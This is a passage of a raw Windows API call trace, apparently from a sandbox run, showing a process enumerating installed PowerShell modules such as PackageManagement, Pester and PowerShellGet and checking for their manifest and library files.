out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0242.139] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x5b, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x5a [0242.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.139] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.141] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0242.141] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0242.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.142] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0242.142] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x38, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x37 [0242.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0242.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0242.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0242.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0242.145] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x5b, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x5a [0242.145] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885598 [0242.145] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.146] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0242.146] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.146] FindClose (in: hFindFile=0x7885598 | out: hFindFile=0x7885598) returned 1 [0242.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0242.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0242.146] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x90 [0242.146] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x90, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x8f [0242.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0242.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0242.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0242.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x90 [0242.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x90, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x8f [0242.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x90 [0242.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x90, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x8f [0242.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0242.151] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5400b84 | out: lpFileInformation=0x5400b84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0242.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0242.152] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0242.152] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0242.152] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0242.152] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0242.152] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0242.153] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0242.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0242.153] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0242.153] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0242.153] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885598 [0242.153] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.154] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0242.154] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.154] FindClose (in: hFindFile=0x7885598 | out: hFindFile=0x7885598) returned 1 [0242.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0242.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0242.154] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0242.154] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0242.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0242.155] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0242.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0242.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0242.158] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5402fc8 | out: lpFileInformation=0x5402fc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0242.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0242.158] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0242.158] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0242.158] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0242.159] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0242.159] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0242.159] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0242.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0242.159] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0242.159] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x38, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x37 [0242.159] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885698 [0242.160] FindNextFileW (in: hFindFile=0x7885698, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.160] FindNextFileW (in: hFindFile=0x7885698, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0242.160] FindNextFileW (in: hFindFile=0x7885698, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0242.160] FindNextFileW (in: hFindFile=0x7885698, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.161] FindClose (in: hFindFile=0x7885698 | out: hFindFile=0x7885698) returned 1 [0242.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0242.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0242.161] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.161] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x49 